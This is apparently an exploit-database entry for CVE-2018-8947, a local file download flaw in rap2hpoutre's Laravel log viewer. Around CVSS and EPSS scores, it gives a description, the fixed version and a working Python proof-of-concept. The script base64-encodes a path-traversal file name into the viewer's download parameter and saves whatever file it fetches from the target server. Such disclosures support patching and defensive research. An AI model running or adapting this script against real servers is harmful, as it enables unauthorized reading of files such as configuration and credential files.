5 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
NONE
Availability Impact
NONE
AV:N/AC:L/Au:N/C:P/I:N/A:N
7.5 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
NONE
Availability Impact
NONE
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
0.064 Low
EPSS
Percentile
93.7%
# Exploit Title: Laravel log viewer by rap2hpoutre local file download (LFD)
# Date: 23/02/2018
# Exploit Author: Haboob Team
# Software Link: https://github.com/rap2hpoutre/laravel-log-viewer/tree/v0.11.1
# Version: v0.12.0 and below
# CVE : CVE-2018-8947
1. Description
Unauthorized user can access Laravel log viewer by rap2hpoutre and use download function to download any file with laravel permission, by base64 encode the wanted file.
2. Proof of Concept
#After providing the url of the vulnerable laravel log viewer by rap2hpoutre (with / in the end or you can edit it yourself), and the file wanted including "../" the script will create a folder and save the downloaded file there
import os
import base64
from urllib2 import urlopen, URLError, HTTPError
import argparse
import cookielib
parser = argparse.ArgumentParser(description='_0_ Laravel 0Day _0_')
parser.add_argument("-u", action="store", dest="url", help="Target URL", required=True)
parser.add_argument("-f", action="store", dest="file", help="Target File", required=True)
args = parser.parse_args()
url = str(args.url).strip()+"/logs/?dl="
final_file= args.file
if not os.path.exists("./0Grats0"):
os.makedirs("./0Grats0")
word = str(args.file).split('/')
word1= "./0Grats0/"+word[-1]
finalee=url+base64.b64encode(final_file)
try:
f = urlopen(finalee)
with open(word1, "wb") as local_file:
local_file.write(f.read())
except HTTPError, e:
print "HTTP Error:", e.code, finalee
except URLError, e:
print "URL Error:", e.reason, finalee
3. Solution:
Update to version v0.13.0
https://github.com/rap2hpoutre/laravel-log-viewer/releases/tag/v0.13.0
5 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
NONE
Availability Impact
NONE
AV:N/AC:L/Au:N/C:P/I:N/A:N
7.5 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
NONE
Availability Impact
NONE
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
0.064 Low
EPSS
Percentile
93.7%